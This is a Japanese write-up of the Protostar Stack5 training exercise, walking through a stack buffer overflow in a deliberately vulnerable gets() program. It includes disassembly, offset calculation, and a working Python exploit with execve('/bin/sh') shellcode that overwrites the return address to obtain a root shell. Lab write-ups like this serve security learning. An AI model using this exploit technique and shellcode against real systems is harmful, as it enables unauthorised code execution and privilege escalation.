protostar Stack5 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack5を解いたので、そのwriteupを書いていく
### Stack5
ソースコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
バイナリのmain関数
$ objdump -d ./stack5 | grep main\>: -A9 080483c4 <main>: 80483c4: 55 push ebp 80483c5: 89 e5 mov ebp,esp 80483c7: 83 e4 f0 and esp,0xfffffff0 80483ca: 83 ec 50 sub esp,0x50 80483cd: 8d 44 24 10 lea eax,[esp+0x10] 80483d1: 89 04 24 mov DWORD PTR [esp],eax 80483d4: e8 0f ff ff ff call 80482e8 <gets@plt> 80483d9: c9 leave 80483da: c3 ret
前回同様76バイトより後ろがリターンアドレスのようだ.
$ python -c 'print "A"*75' | ./stack5 $ python -c 'print "A"*76' | ./stack5 Segmentation fault
Stack4と同じように脆弱性があるが今回はwin()がない.
というわけで自分で適当なシェルコードを流しこんでシェルを起動させる.
シェルコードとはコンピュータが命令として解釈できる文字列で, もっぱら脆弱性を利用して何らかの命令を実行させたいときに利用される.
よく脆弱性が見つかった時に"不正なコードを実行する脆弱性"と紹介されるが, これの不正なコードにあたるものがシェルコードだ.
今回は下記リンクのコードを使う.
http://shell-storm.org/shellcode/files/shellcode-827.php
これはx86のLinux環境でexecve("/bin/sh")を走らせた時と同じ振る舞いをする.
$ ltrace ./stack5 __libc_start_main(0x80483c4, 1, 0xbffff8a4, 0x80483f0, 0x80483e0 <unfinished ...> gets(0xbffff7b0, 0xb7ec6165, 0xbffff7b8, 0xb7eada75, 0xb7fd7ff4AAAA ) = 0xbffff7b0 +++ exited (status 176) +++
これを見るとespの位置は0xbffff7b0であることがわかる.
bufferはそこに0x10分足した場所から始まるので0xbffff7c0であるとわかる.
ここから書き換えたいリターンアドレスとのオフセットは76バイト, さらにリターンアドレス4バイトを足した先にシェルコードを設置し読み込ませる.
bufferの先頭アドレスからリターンアドレスを含めたオフセットは80バイトで, これを0xbffff7c0と足すと0xbffff810となる.
まとめると
0xbffff7c0から76バイトを埋める
0xbffff80c(0xbffff7c0+76)の位置にその直後のアドレスを書き込む
0xbffff810(0xbffff7c0+80)の位置からシェルコードを書き込む
ということになる.
コードにすると下記のようになる
#!/usr/bin/env python import struct buffer = 0xbffff7c0 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" def p32(num): return struct.pack("<L", num) payload = "A"*76 payload += p32(buffer+80) payload += shellcode print payload
これを標準入力からStack5に入れてもシェルが開くだけなのでcatを利用し入力できるようにする.
実行は下記のようになる.
$ (/tmp/stack5.py; cat -) | ./stack5 whoami root
バイナリの所有者権限に昇格することができたので成功とする.
Stack5 おわり